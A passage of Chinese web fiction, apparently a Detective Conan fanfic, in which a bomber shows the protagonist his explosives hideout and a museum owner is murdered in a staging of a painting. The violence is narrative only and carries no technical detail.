“你不知道,那时候萩原前辈穿着那——么厚的防护服,”他夸张地比划着,“结果都被炸烂了,背上全是血,养了一个月才好!”
萩原研二挠挠脸,有点无奈:“没那么夸张啦,主要是小阵平一直不让我出院。”
说着,他看了一眼外面已经漆黑的天色:“诸叶君自己回去吗?这么晚,要不然我……”说到一半想起来自己现在没法开车,改口道,“让小阵平送你回去?”
赤见枫插话:“前辈,刚好我现在准备回家,松田前辈最近加班都快累死了,我来送诸叶君吧。”
“……也是,这段时间不知道怎么了,东京的爆炸案突然多了起来,大家都忙得没停下来过,”萩原研二无奈地叹口气,“那就麻烦你了,赤见。”
--
夜色已深,车窗外的街灯和招牌一闪一闪地从视野里掠过。
刚开始还有城市的霓虹和低矮的公寓楼,渐渐地,路灯越来越稀疏,街道两侧的店铺拉下卷帘,行人寥寥。
车内死寂,只有空调运作的低鸣与轮胎碾压路面的枯燥声响。
风从缝隙里钻进来,带着一点夜里特有的凉意。
诸叶凛靠在窗边,看着窗外飞快后退的灯影,突然开口:“你走错了。
赤见枫握着方向盘,侧头冲他笑了笑:“没走错。”
车子没有减速,依然向前。
诸叶凛转头看了赤见一眼,什么也没说,重新撑着头,把视线投回窗外。
四周渐渐变得空旷,马路尽头,几根锈迹斑斑的路灯下,是大片黑暗。
再往前,一片荒废的空地和半塌的铁皮仓库隐约出现在夜色里。
最后,车子停在那个看起来废弃已久的仓库前。
诸叶凛伸手去开车门,却纹丝不动。
“咔哒”
身后传来手枪上膛的声音。
冷冽的金属触感顶上了他的后脑。
赤见枫的声音出现在安静的车内,带着陌生的低哑:
“你已经猜到,那张【高塔】就是我吧?”
5. 秘密基地
诸叶凛缓缓回头。
黑洞洞的枪口近在咫尺,正对着额头,冰冷的金属质感隔着空气都能感受到。
赤见枫半靠在座椅上,嘴角微微上扬,眼神里带着几分漫不经心的戏谑。
“怎么?不打算说点遗言吗?”
车内灯光昏暗,照在诸叶凛的脸上,映出他浅淡的轮廓。
他静静地看了几秒,然后轻声叹了口气,抬起右手,食指顶在枪身上,轻轻一推。
金属随之偏离方向,全程没有遭到任何阻力。
他向前俯身在驾驶座摸索,颈侧过长的头发垂落下来。
赤见枫看着在自己身前随着诸叶凛的动作上下跳跃的发丝,还是没忍住捻起一缕绕在手指上玩了起来。
“找到了。”
伴随着一声低语,门锁发出一声轻响,赤见枫赶紧把手收回,装作刚才什么都没做的样子。
诸叶凛瞥了他一眼,推开车门走下去,夜风从外头灌进车厢,带起一阵冷意。
驾驶位上的赤见枫也跟着下车,左手随意地转着手枪,赤色的短发在夜风中有些凌乱。
他鼓了鼓脸颊,声音里带着几分委屈与不满:“这么久没见,不能稍微陪我玩一下吗,院长大人?”
声音软软的,尾音轻轻上扬,说话的同时,手里的枪口对准远处的树林,“砰”的一声,打断了一根树枝。
诸叶凛看过去,视线直接略过那个真的上了膛的手枪,停在了赤见枫的脸上:“带我来这里做什么?”
赤见枫鼓起的脸颊顿时垮了下去,不过这点失落只维持了几秒,很快他又笑了起来,整个人重新恢复了活力。
“当然是带院长大人来参观一下咯,我的秘密基地。”
他一边说,一边快步走向仓库的大门。
“秘密基地?”诸叶凛目光扫过四周荒凉的景象,“有点偏。”
“这样才对嘛!”赤见枫转过头,“要是随便谁都能找到,就不叫‘秘密’基地了。”
他眨了下左眼,语气轻快:“而且,这个位置我只告诉院长一个人,千万不要告诉他们哦~”
说着,他推开了那扇生了锈的仓门。
铁皮与地面摩擦,发出一声刺耳的‘吱呀’,陈旧的灰尘被震落、扑面而来。
仓库内空间很大,屋顶的铁梁斑驳不堪,透过缝隙洒进几缕月光。
地上散落着一些被遗弃的木箱、弯掉的金属管,还有几张破旧的办公桌,空气中弥漫着铁锈味和灰尘的味道。
诸叶凛跟在赤见枫身后,脚步声在空荡的空间里回响。
他扫视了一圈,心想这里看起来应该已经废弃很多年了,也不知道高塔是怎么找到这里的。
赤见枫走到仓库角落,在一堆旧木料中蹲下,抬起一块长木板。
“在这儿。”
木板下方露出一个带着铁环的门锁,下面是通往地下的狭窄入口。
赤见枫晃了晃手里的钥匙,转头冲诸叶凛露出一个明亮的笑。
“走吧,跟我下去,不过在那之前,给院长大人一个礼物。”
他从口袋里掏出另一把钥匙,随手抛了过来。
诸叶凛抬手接住,看了他一眼。
“备份钥匙。”赤见枫笑眯眯道,“院长大人如果哪天想来玩,随时都可以。”
诸叶凛想到这个仓库偏僻的位置,摇了摇头:“大概用不到。”
“不一定哦,”赤见枫的语气仍旧轻快,他知道院长大人为什么这么说,意味深长地笑了笑,“偏僻的地方可是隐藏秘密的好场所呢。”
他转动手中的钥匙,伴随着“咔哒”一声,地下室的门被打开。
冷风从下方扑面而来,混杂着一股刺鼻的火药味。
“跟我来吧。”赤见枫的声音在幽暗的入口处回荡,带着一点兴奋。
诸叶凛顺着那条狭窄的铁梯往下走,很快看到了这个秘密基地的全貌。
地下室的空间比他想象的要大,大概有一百多平,但家具很少,只有角落里放着一张单人床,还有一些看起来很不简单的工具堆放在床下,以及一张木桌和两把不成对的椅子,似乎有人偶尔会在这里住下。
除此之外——
其余所有地方,几乎都被炸药堆满。
房间里密密麻麻全是整齐排列的黄色塑胶块和各种炸弹原料,地上还有几个贴着手写标签的黑色圆罐。
唯一能走动的,只剩下一条狭窄的通道,从楼梯口一直通向那张床所在的角落。
赤见枫跳下最后一级梯子,点起蜡烛,转身抬起手,得意地张开双臂,声音里满是炫耀:“锵——锵!怎么样?这可是我这么多年的收藏,超震撼吧?!”
火光在他眼底闪烁,让他看上去像个展示玩具的小孩子。
诸叶凛的目光缓缓扫过四周,最后停在木桌上。
那上面插着一根正在燃烧的蜡烛,火焰轻轻晃动,蜡烛的底座距离最近的一块炸药不到十厘米。
只要它不小心倾倒,整个地下室里的炸药就会在一瞬间引爆,冲击波足以让方圆几百米变成一片死地。
诸叶凛淡淡扫了一眼,然后越过那一堆堆危险的火药,在那张床边坐下。
铁床发出一声轻响,走过的风将蜡烛的火苗轻轻吹动。
“的确令人意外。”
诸叶凛抬
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手拿起身旁桌上一个还未填充炸药的炸弹。
那是个极薄的纸片状装置,厚度不过几毫米,表面覆着一层银灰色涂层,边缘整齐地镶嵌着导线。
正中央,一颗红色的指示灯一闪一闪,微弱的光在他指尖跳动。
他垂眸端详片刻:“今天用的是这个?”
“没错。”赤见枫靠在桌上,晃着脚,露出一点得意的笑意。
随着他的动作,那根蜡烛开始小幅度的摆动,但两人谁都没有在意。
诸叶凛指尖轻触那枚纸片炸弹:“夹在两个炸弹中间的定时装置,用红灯伪造成原本那两颗炸弹即将爆炸的假象……的确做得不错。”
赤见枫耳尖微微红了,笑得有点不好意思。
“不过,”诸叶凛抬眼看向他,“为什么要让炸弹真的爆炸?”
赤见枫脸上的笑意像身旁桌上那被风吹动的火焰,突然变得锋利又危险。
他低下头,笑声低沉:“怎么能让那个衣子那么轻易被放过呢?她可是想要伤害我们的院长大人。”
赤红的发在灯光下微微晃动,语气轻快又残酷:“只有炸得越严重,惩罚才会越让我满意。”
诸叶凛看着他:“但是你把【高塔】牌留在那里,衣子女士的刑期会因此受到影响。”
赤见枫凑到诸叶凛身边,挤着他在床沿上坐下,笑眯眯地看着他:“毕竟——这可是我们时隔七年的再相遇啊。”
“这么有纪念意义的日子,怎么能让别人抢走所有关注?”
他轻轻晃了晃手里不知何时拿出的高塔牌:“当然要让【高塔】的名字,和院长大人一起出现。”
“而且……”他眼底闪烁着一点雀跃,“这样在炸弹的危机里同生共死,不是就和从前一样了吗?”
诸叶凛侧头看着他。
赤见枫有点紧张:“院长大人,我是你第一个找的人吧?”
“嗯。”诸叶凛点了点头。
赤见枫的眼睛亮了起来,正准备笑出声,就听到他淡淡补了一句:“因为很意外,你竟然没在监狱或者墓地里。”
“……”
赤见枫的笑顿时僵住,嘴角一点点下垂,瘪着嘴不满道:“我哪有那么弱啊。”
诸叶凛放下那个炸弹:“记得赔偿咖啡店的损失。”
“嗨嗨~”赤见枫拉长了声音。
他不太情愿地掏出手机,手指飞快地点开一个头像。
屏幕上弹出熟悉的聊天界面:
【高塔】:@正义,今天米花商场的爆炸案,记得赔偿那个倒霉的店长。
几秒后,对话框里出现回复。
【正义】:拒绝。
6. 新的住处
赤见枫鼓起脸颊,飞快打字。
【高塔】:哼哼,你知道你拒绝的是谁吗?是院长大人!
那边沉默了片刻,新的信息才慢悠悠弹出来。
【正义】:……下次记得把重点放在最前面。
【正义】:明天。
赤见枫挺直腰板,露出得意的笑,啪地一声合上手机:“任务完成~”
诸叶凛淡淡地看了他一眼:“不要欺负【正义】。”
赤见枫顿时一脸委屈,眼角往下耷拉:“院长大人,你不知道【正义】那家伙平时卡物资有多严重!”
“这些炸弹有一半都是从【审判】那边拿来的,真是的,连配件都要申请三次才给批……”他抱着枕头咕哝着,“就算是院长大人也不能太偏心啊。”
诸叶凛:“……”
他伸出手,轻轻揉了揉赤见枫的头发。
“辛苦了。”
诸叶凛垂眼看着面前和记忆中有些不同,但依旧让他感到熟悉的赤见枫。
他很清楚自己昏迷的这七年,对他们来说意味着什么。
在他刚苏醒的时候,最先见到他的人是留在那栋楼里的【正义】。
那个一向冷静、严肃到刻板的男人最初甚至以为自己出现了幻觉,确认他的确醒来后眼眶都红了。
那还是他第一次看到【正义】露出这种表情,可惜当时没记录下来。
地下室里,赤见枫感受到头上的温度,原本还在碎碎念,一下子怔住,下一秒眼泪就开始“啪嗒啪嗒”地往下掉。
七年了。
院长沉睡的这七年,他只能靠着那些绚烂的爆炸和深刻入骨的恨意,来填补心底那个巨大的、空洞的缺口。
现在,这个缺口终于被填上了。
“院长大人——!”他收紧双臂重重抱住诸叶凛。
刚才在咖啡店见到院长大人的第一眼他就有点想哭了,好不容易才忍住,要不是借着额头受伤遮掩,肯定早就被松田前辈和萩原前辈他们看出异常了。
现在回到自己的地盘,终于能放肆地大哭一场。
胸前的布料很快被泪水打湿,诸叶凛轻轻拍着赤见枫的后背。
然而就在这温馨的时刻,手机震动的嗡鸣声忽然打破了平静。
诸叶凛从口袋里拿出手机。
赤见枫见状立刻松开手,乖乖坐到一旁,双手放在膝盖上,姿势端正得像个在等老师发糖的小学生。
诸叶凛低头,目光落在屏幕上。
这个聊天框上一条消息很简短,只有一个地址和一串数字和字母,是【正义】给他在米花町买的房子。
他本来想让【高塔】直接送他过去的,但这个地下室其实也不错。
只要有个地方休息就可以,他对环境不太挑剔,这里起码还有一个床和椅子。
但【正义】显然不这么想。
【正义】:让高塔送你回去,他那里太危险了。
诸叶凛左右看了看,有点困惑地歪了歪头。
危险吗?
但他还是把【正义】的话复述了一遍。
赤见枫立刻不满地拿出手机打字回击。
【高塔】:正义!我这里怎么危险了,难道你偷偷来过我的秘密基地吗?!
【正义】:没兴趣,但无论是你口中的秘密基地还是你那个公寓都不可以。
【高塔】:公寓怎么也不可以?!
【正义】:你的住处不可能没有炸弹。
【正义】:而且院长刚从昏迷中苏醒,身体还没有完全恢复,需要一个足够舒适的环境疗养。
赤见枫说不过他,这个理由完全打在他的七寸上。
“还以为能让院长大人在我这里住呢……”他小声嘀咕着,声音里带着点遗憾。
不过他很快又笑了笑,自觉地站起身:“那我送院长大人过去吧。”
大约半个小时后,车子在一栋二层别墅前停下。
夜色被路灯轻轻切割,暖黄色的光洒在车窗上。
赤见枫探出头,看了眼门牌号,确定无误后,笑着朝诸叶凛挥手。
“那我就送到这儿啦~院长大人早点休息。”
诸叶凛对他挥手告别,转身输入那串复杂的密码。
赤见枫趴在方向盘上,望着那道逐渐消失在门后的身影,直到再也看不见,才依依不舍地启动车辆离开。
--
诸叶凛推门而入,顺手开了灯。
屋内瞬间明亮起来,整个别墅都是温柔的棕色调,墙壁、地毯与家具颜色协调,令人心绪安定。
柔软的沙发被靠垫围着,角落里摆着一架黑色钢琴,看起来价值不菲,还有淡淡的木质香味从那边飘来。
窗帘整齐拉好,茶几上摆着新鲜的花。
屋内几乎没有灰尘,显然【正义】今天有派人来打扫过。
诸叶凛站在玄关脱下外套换好鞋子,然后走到沙发上躺下。
柔软的沙发迅速包裹住身体,他试着伸展双腿,长度刚好。
他满意地放松身体,拿出手机给【正义】道谢后,随手拿了一个沙发靠垫放在脑后枕着,很快便有了困意。
接下来的几天,诸叶凛过得十分悠闲。
吃饭、睡觉、晒太阳,偶尔在客厅的钢琴前按几下琴键。
他能感觉到,之前身体长时间昏迷后那种虚弱的酸软正在一点点消退,肌肉的反应与体力都在恢复。
“不过稍微有点无聊了啊。”
他靠在沙发上,拇指漫无目的地滑动着手机屏幕,柔和的光映在睫毛上。
信息流一条条划过,新闻、广告、天气、股市……毫无波澜。
直到一条推送忽然吸引了他的注意。
【米花美术馆深夜异象:中世纪骑士盔甲竟于深夜自己走动?】
他点开页面,里面是两名保安的采访。
“真的,我亲眼看见的!那副盔甲自己走了两步,还转了个方向!”
“我当时还以为自己出现幻觉了,可我们两个都看见了!”
记者写得煞有介事,还特地配上了盔甲在灯光下的特写照片:银灰色金属反着冷光,空洞的头盔缝隙仿佛正注视着某个方向。
诸叶凛指尖轻轻敲着屏幕上那张盔甲的照片。
一件毫无价值的复制品……
“嗯……看来有趣的事情要发生了。”
他起身,顺手拿起放在沙发扶手上的外套,单手搭在肩上。
“那就去看看吧。”
他关上门,在门缝间夹住一根发丝后转身离开。
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诸叶凛走进美术馆。
馆内人不多,脚步声被柔软的蓝色地毯吸收,空间宽敞安静,空气中弥漫着淡淡的木香和清洁剂的气味。
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>他漫无目的地四处走着,在一幅画作前停下。
那是一幅中世纪风格的油画,画面中央是一位身披银甲的骑士,单膝跪地,将长剑插入自己的胸膛,背后是深红色的落日,光线穿透破碎的云层,映在骑士的盔甲上,闪烁着神圣的光。
画作的气势恢宏,色彩浓烈,乍看之下极具冲击力。
但诸叶凛只是短暂停留上下扫了一眼,便转身准备离开。
“先生对这幅画不感兴趣吗?”
一个温和的声音在身后响起,诸叶凛回头看去。
一位穿着考究的老者缓步走来,穿着一身深棕色西装,领口前戴着黑色的领结,白色的胡须整齐地梳理着,双手背在身后,笑着看向他。
“不,这幅画很好。”诸叶凛摇头否认。
在老者变得疑惑的目光下,他接着说道:“只是我对赝品没兴趣。”
老者的眼神瞬间亮了几分:“先生能分辨出来真品和赝品?”
诸叶凛目光再次落在那幅画上,伸出手,指向画面那轮深红色的落日。
“颜料中红色的饱和度过高,中世纪时期的朱砂不可能调出这样的亮度,并且……“他接着指向前方的骑士,“这里的影子方向与光源不符。”
“这不仅是赝品,伪造者还极其粗心。”
老者愣了一下,随即抚着胡须,发出一声愉快的笑。
“哈哈——说得完全正确!先生的眼力真是令人佩服,我在这里这么多年,还是第一次见到这样有见识的客人。”
“我姓落合,是这里的馆长。”老人笑着伸出手。
“诸叶凛。”他轻轻回握了一下。
落合馆长的目光投向那幅骑士将剑刺入胸膛的画作:“虽然是赝品,但我很喜欢这幅画。”
“很多人无法理解这幅《牺牲》,”馆长轻声说,“他们认为骑士是失败的,但我认为,这正是他最大的胜利。”
“作为一名骑士,他的死亡并非败于敌手,而是选择将生命献祭给了高于自身的信念,这或许正是他践行骑士道的坚持。”
他顿了顿,收回目光,对诸叶凛笑了笑:“……见笑了,人老了,总是容易多愁善感。”
“诸叶君随便看看,我就不打扰了。”
诸叶凛看着馆长离开的背影,垂在身侧的右手动了动。
刚才的触感……对方最近练过剑,这个年纪?
虽然有点奇怪,但他身边爱好古怪的朋友太多了,也没有太在意,迈步向另一个展厅走去。
“哇,这里看起来空间好大啊!”
一个少女的声音在展厅入口处响起,明亮、清脆。
紧接着,带着几分不情愿的大叔声线跟上:
“啧,都说了那个传言是骗人的,这种天气就适合在家里喝啤酒啊。”
“柯南,你觉得呢?”毛利兰笑着捏紧拳头。
听到这个名字,诸叶凛顿时停了下来,饶有兴趣地看过去。
“哈,哈哈——”
柯南干笑两声,额角滑下一滴冷汗,立刻装出小孩子的样子随便指着墙上一幅画。
“这幅画真好看!”
毛利兰满意地移开视线。
柯南刚松一口气,面前突然被一片阴影笼罩,他抬头看去,正对上一双湛蓝的眸子。
“好巧,”诸叶凛走到柯南身前停下,“又见面了,小朋友。”
7. 很熟的朋友
“哦?原来您就是馆长啊!”毛利小五郎大笑着拍了拍自己的胸口,“我是毛利小五郎,作为侦探还算有些名气,解决过的案件也上过几次新闻呢,哈哈哈!”
落合馆长本来半垂着眼皮,听到“侦探”二字,稍稍抬起了一点。
“那可真是了不起啊,侦探先生能抽空来我们馆里参观,真是蓬荜生辉。”
“哈哈哈,说什么蓬荜生辉,我也就这点名气啦!”毛利小五郎笑得更大声了,连胡子都抖了几下。
毛利兰无奈地看着老爸又开始进入自我吹嘘模式,轻叹了一口气。
不过她的注意力很快被另一边吸引,她侧头看去,只见柯南正和一位棕发的青年面对面站着,相对无言,气氛有点微妙。
“怎么来美术馆了?”诸叶凛先开口。
柯南脸上露出一种已经放弃挣扎的表情,干笑两声。
“呵,呵呵……”
小兰听说这里有会走路的盔甲,非要来看,他和毛利大叔谁敢拒绝?一拳能砸瘪桌角的武力可不是开玩笑的。
“我陪小兰姐姐来的。”他尽量装出天真无邪的样子,“你呢?”
诸叶凛轻声答道:“在家待得太久,有点无聊,看到新闻说这里的盔甲会走路,就过来看看。”
“啊,你也是因为那个传言来的吗?”
背后传来少女惊喜的声音。
诸叶凛转头,毛利兰笑着走了过来。
简单地互相介绍过后,她疑惑地看了看两人。
“诸叶君和柯南认识吗?”
诸叶凛点头:“我们差一点就成为很熟的朋友了。”
柯南猛地仰起头。
差一点成为很熟的朋友?开什么玩笑啊?!他们只见过一面吧?还是那种故意拿炸弹吓小孩的一面!
谁会想和这种危险人物成为朋友啊!
不过毛利兰没注意到柯南那副震惊到怀疑人生的表情,反而笑得更开心了。
“原来如此,难怪柯南看到你就跑过来了呢!”
柯南嘴角一抽,险些没绷住。
“那我们一起看美术展怎么样?”毛利兰真诚地提议。
诸叶凛没什么意见:“可以。”
不远处,落合馆长正耐心地和毛利小五郎聊着画作的历史,一个转头,目光忽然锐利起来。
“洼田!”
他冷喝一声,吓得周围几个人都抖了一下。
“说了多少次?处理作品一定要戴手套!”
被点名的洼田手指一僵,急忙放下画框,满头冷汗地低头:“对不起!”
落合的神情十分严肃,直接挥手让他退下:“你不用做了。”
他转头看向旁边那位戴着白手套的年轻男人:“饭岛,你来。”
“是。”饭岛恭敬地应了一声,快步走过去接手。
洼田满脸不爽地“切”了一声,狠狠瞪了饭岛一眼,闷头离开。
诸叶凛若有所思地看着这一幕。
“喂!”
诸叶凛闻声蹲下:“怎么了?”
柯南满脸不爽:“谁和你是朋友啊?而且为什么是‘差一点很熟’的朋友?”
“如果炸弹当时直接炸掉,我们就能成为很熟的朋友了。”诸叶凛语气平静地说道。
“……?”
柯南一时间没反应过来。
诸叶凛的眼神里没有任何玩笑的意味,只是认真地又重复了一遍那两个字。
“很熟。”
柯南终于明白他的意思,嘴角抽了抽:“原来是在讲冷笑话吗?一点都不好笑啊!”
他抱着胳膊抖了一下:简直比阿笠博士的谜题还要冷啊!
“还有,我们只见过一面,完全算不上朋友吧?”
“……是吗?”诸叶凛垂下眼睫。
“你这是什么表情!”
柯南叹了口气,抬手揉了揉眉心。
“好了好了,是朋友可以了吧?”
诸叶凛那副淡淡的失落表情立刻消失,仿佛什么都没发生过似的点头:“嗯,那就这样定了。”
柯南无语地看着他。
这人转变得也太快了吧?
而且明明才第二次见面,照理说自己应该对这种危险系神秘人物保持警惕才对,可偏偏在他面前却意外地放松。
没有紧张,也没有防备。
甚至有好几次,他都差点忘了自己现在是“小学生”的身份。
就像刚才的对话,两个人的身份完全颠倒了一样,他倒更像大人一点。
柯南微微皱眉,低声嘀咕:“果然还是因为这家伙太奇怪了,完全不能用正常人的逻辑去推断。”
“既然是朋友,第一步应该是交换地址吧?”
诸叶凛说着,站起身环顾四周开始找纸笔。
柯南看着他这副一本正经的样子:“喂,你交朋友难道还有固定流程的吗?”
诸叶凛摇了摇头:“没有,以前的朋友们都住在一起,所以从来没考虑过这些。”
“除此之外,我也没有和别人做朋友的经验。”
柯南:“……”
“不过最近我有在看小说,”诸叶凛继续说,表情十分认真,“里面总是有因为不知道对方的住址,导致一系列危机的桥段,所以我觉得交换地址应该是第一件事吧?”
柯南难以置信地看着他。
竟然通过看小说来学习交朋友?这种事元太他们这些小学生都不会做。
不如说以对方的年龄竟然除了他口中住在一起的朋友外,一个其他的朋友都没有?也太罕见了吧?
“你之前到底生活在哪里啊?”
“山里。”诸叶凛想了想,又补了一句,“不过偶尔也会下山。”
柯南沉默地盯着他,终于明白为什么这人明明说话礼貌、逻辑清晰,却总有股哪里不太对的感觉……
原来他是真的没常识啊!
看着诸叶凛在展厅里四处张望寻找什么东西的样子,旁边的饭岛有些好奇地走了过来。
“需要什么帮助吗,先生?”
“请问有纸和笔吗?”
“纸的话……”饭岛想了想,从口袋里掏出一本便签条。
“我带了这个,”他撕了一张递过去,“不过笔——”
“啊,差点忘了。”
他笑着从胸前的口袋里掏出一支金色原子笔递了过去。
“幸好,这支笔还没来得及放回办公室。”
“谢谢。”
诸叶凛接过笔,在便签条上低头写下地址。
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>笔尖划过纸面,发出轻微的“沙沙”声,字迹清隽整齐。
正写着,一个穿着浅灰西装、肚子圆鼓鼓的中年男人慢悠悠走进展厅。
他环顾四周,视线在空荡的大厅里转了一圈,讥讽地笑了笑,语气里满是轻蔑。
“诶呀,这里和往常一样,人真少啊。”
“看来就算想尽办法编些吸引眼球的传闻,也救不活这家美术馆嘛。”
原本温和的落合馆长脸色瞬间沉了下去。
一旁的毛利兰微微皱眉:“他们是有什么矛盾吗?”
“那个人是真中老板。”
说话的是饭岛,他脸上满是压抑的愤懑。
他压低声音解释:“前任老板因为资金链断裂,公司倒闭,被迫把这家美术馆卖掉,这里经营了几十年,口碑一直很好,所以来询问的人不少,之所以会选择真中老板,是因为对方当时信誓旦旦地说会继续经营美术馆,结果……”
“结果呢?”毛利兰忍不住追问。
饭岛咬牙,满是气愤地说道:“结果他根本没打算继续经营美术馆,反而打算把这里改成饭店!”
“反正再过十天,这地方就得关闭了。”真中不屑地瞥了落合一眼,“好好享受最后一段当馆长的日子吧。”
说完,他哼了一声,拍了拍身边设计师的肩,转身去一旁指指点点,商量着重新装修的方案。
饭岛叹气:“就是这样,十天后,这里就要变成饭店了。”
“饭店吗?”毛利兰有些遗憾地低下头,“那这么说,美术馆就要消失了啊……”
“没办法。”落合馆长看着真中的背影,“只能怪我们自己经营不善,让真中先生趁虚而入。”
他轻轻叹息一声,摇了摇头,背影在午后的光线下显得有些落寞。
“我去确认一下展品情况。”
说完,他转身离开。
“抱歉,我也去确认一下。”饭岛连忙跟了上去。
一旁手里抱着刚刚清理出来的骑士盔的洼田正好撞上了从另一头走来的真中。
“这不是洼田吗?”真中嘴角带着幸灾乐祸的笑,“钱还够吗?赔偿不起的话要怎么办啊?哈哈哈哈——”
洼田脸色瞬间涨红。
“可恶!”
他咬着牙,等真中离开后,一扬手将头盔狠狠砸在地上。
金属撞击声在空旷的展厅里炸开,吸引了柯南他们的目光。
路过旁边的落合馆长看了他一眼,身后的饭岛不忿:“说了要小心一点啊!”
他瞪了洼田一眼,却又不好再多说什么,只能跟上馆长的脚步离开。
柯南在不远处看着这一幕,手指轻轻托着下巴。
总觉得哪里有点不对劲。
“给。”
他耳边响起平静的声音。
诸叶凛站在一旁,把写好的便签条递过来。
柯南正陷在自己的思绪里,接过后随手折好放进口袋。
虽然刚才的小插曲让气氛略有些尴尬,但得知美术馆即将关闭后,毛利兰反而下定决心要把展馆好好逛一遍。
“奇怪……”
她看着地图,又抬头望向走廊中间那块“禁止入内”的牌子:“按地图上看,这里应该还有一个展厅才对。”
8. 天罚
毛利小五郎满脸不耐烦:“可能里面的展品已经搬空了,别浪费时间,赶紧把剩下的看完。”
“好吧……”毛利兰有些遗憾地应下。
柯南慢悠悠地跟在他们身后。
走出几步后,毛利兰忽然意识到少了一个人,回头一看,诸叶凛仍然站在那块“禁止入内”的牌子前。
“诸叶君!”她扬声喊了一句。
诸叶凛转身,神情如常地走出那片阴影:“抱歉,我先去趟厕所。”
“那我们先往前走啦。”
“嗯,一会儿我去找你们。”
柯南目送他的背影消失在拐角,困惑地抬头看向上方的指示牌。
厕所的箭头分明指着另一边,虽然来的那条路上的确也有厕所,但明显这个指示的位置离他们此刻所在的地方更近。
“没看到吗?”他皱了皱眉。
不过毛利兰的催促声传来,柯南只能先跟上。
--
诸叶凛双手环胸,背靠在拐角的墙边。
等毛利兰他们的脚步声彻底远去,他再次走回那块“禁止入内”的牌子前。
“哒——哒——”
诸叶凛静静地听着耳边传来的水滴声,垂下眼。
那不是水。
带着腐朽灰尘味的铁锈气息正充斥着他的鼻腔。
之前在警视厅做笔录的时候,他说自己听力很好,不是说谎,但也没说全。
其实他的五感都有着超出常人的水平,此时嗅觉和听觉传达的信息让他毫不犹豫地绕过那块牌子走了进去。
展厅里一片昏暗,唯一的光源来自几盏并不明亮的射灯,光线像一层薄雾,照出空气中飘浮的灰尘。
刚一踏进展厅,诸叶凛的目光便落在入口上方的监控摄像头。
镜头正对着展厅中央的区域,从远处看,那片地方漆黑一片。
可水滴声与血腥味,正是从那边传来。
诸叶凛缓步穿过陈列的雕塑,像是一名最普通不过的游客观赏着这间名为“地狱之间”展厅里的藏品。
他站在一个巨大的恶魔雕像前上下打量了一下:“的确很有中世纪的风格。”
他又看向旁边的另一个雕像:“罗马神话体系的残留,细节处理得不错。”
直到走到一尊雕塑前,他突然停了下来,侧头看向天花板角落,那枚监控摄像头的红点正微微闪烁。
再往前一步,他就会被拍进画面里。
不过也不需要再往前走了。
诸叶凛转头看向左手边的墙。
那是一幅巨大的油画。
画面右侧,一个恶魔被刺穿脖颈,长剑自喉咙穿过,血雾在画中炸开。
左侧,一个全身银甲的骑士浸在血液形成的湖面中,盔甲反射着冷光,周围是崩塌的山岩与成堆的头骨。
远处的云层被金色的太阳撕裂,一轮耀眼的光悬在高空,仿佛神的怒火从天而降。
画下的铭牌上写着——《天罚》。
他接着向右转头,看向另一幅“画”。
由一堵被鲜血彻底染红的墙作为画布,真中被竖直地钉在上面,身体僵硬,头向后仰,双眼圆睁,嘴巴大张,似乎还保持着临死前的惊呼。
一把锋利的长剑将他的喉咙贯穿,剑刃闪着冷光,血从破口喷出,顺着悬空的脚淌到地面,在下方凝成一片暗色的血迹。
墙面被血溅成诡异的放射形图案,几乎完美地还原了《天罚》中的那一幕。
半晌,他低声道:“……复制得不错。”
“色彩饱和度比原画更高,尤其是血液的猩红,比朱砂更有生命力。”
他再次望向那幅油画与眼前的尸体。
画与人、神与罪、审判与受罚在这一刻完美重叠。
和听觉同样出色的眼力让诸叶凛很快注意到真中僵硬的右手正紧紧攥着什么,似乎是一张纸条。
“不过……”
诸叶凛回头看向入口上方那颗仍闪烁着红光的监控。
“好像看不了纸条的内容。”
如果现在去拿纸条,所有的动作都会被监控记录。
他退后两步,开始在展厅寻找其他线索。
忽然,他的目光被一抹亮色吸引,在一个雕塑的阴影下,一支金色的原子笔静静地躺着。
他弯腰捡起,在掌心旋转了一下,笔尖收回。
“质量不错,看起来还能用。”
诸叶凛又把笔尖转出来,试着在手背上写了一笔。
“……嗯?”
他看着只有一点压痕,没有墨水痕迹的手背,眼中闪过一抹思索。
“……原来如此。”
写不出字的笔,落合馆长手上用剑的痕迹,还有那张明明紧握在死者手中、却被凶
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手留在现场的纸条,再加上吸引他来这里的那个传得沸沸扬扬的“会走路的盔甲”传闻……
所有线索在他脑海里迅速拼合,形成一条指向真相的道路。
诸叶凛已经知道凶手是谁,也大概明白了他的手法与动机。
不过为了确认,他还是举起手机把四周拍了一遍。
雕塑、画框、地面上那一抹未干的血迹,都被他平静地记录下来。
接着,他点开通讯录里那个黑漆漆的头像,把新闻链接和照片都发了过去。
【院长】:还有一点,这个笔写不出字。
片刻后,对面发来回复。
一段简短的分析文字浮现在屏幕上,几乎与诸叶凛的推断一模一样。
又过了几秒,对面再次发来一条信息。
【隐者】:小心一点,诸叶,凶手现在只是去放盔甲,很快就会回来换掉那根原子笔。
【院长】:不用担心。
对话本来该到此结束,但诸叶凛突然想起【高塔】之前来他家里吐槽时说的话。
【院长】:听说最近你给出了一张小阿卡纳?
那边立刻回复。
【隐者】:嗯,我觉得他很合适,而且我们很合得来。
【院长】:知道了,你觉得合适就可以。
诸叶凛收起手机,目光再次落在手中那支金色的原子笔上。
他想了想,从口袋里取出另一支一模一样的笔,刚才饭岛走得太急,还没来得及还给他。
“稍微有点好奇……”
诸叶凛将饭岛的那支笔放到地上。
做完这一切,他最后看了一眼那幅“画”,转身离开展厅,很快追上了毛利兰他们。
一个小时后。
黄昏的阳光透过高高的玻璃窗,洒进美术馆的纪念品店,映出一层金色的光。
诸叶凛低头挑选着纪念品。
木质货架上摆满了印着馆藏画作的书签、模型与钥匙扣,他手里拿着一个骑士造型的水晶挂饰,目光若有所思。
【高塔】应该喜欢这种夸张风格,【正义】的话,钢笔比较合适,毕竟他每天都在处理文件,【隐者】喜欢看书,选两个书签好了……
就在他一个个为朋友们挑选礼物的时候——
“啊啊啊啊啊!!!!”
一声尖锐的女性惨叫突然从展馆深处传来。
9.堕落的英雄
诸叶凛抬起头,眉梢动了动。
看来是发现尸体了?
思索片刻后,他低下头,继续认真挑选挂饰。
“嗯……这个盔甲款式不错。”
他把挑好的礼物整齐地放在柜台上结账。
等他慢悠悠走出纪念品店时,警戒线已经拉起,警察们正来回奔走。
诸叶凛走到监控室门口,外头守卫的警察伸手拦住他。
“抱歉,这里暂时不对外开放。”
“我和毛利侦探他们一起来的。”诸叶凛抬手指了指里面。
里头的毛利小五郎正坐在椅子上神情严肃,柯南则垫着脚靠近监视器。
警察确认之后,点头放行。
监控室里,十几台监控屏幕同时闪烁着光。
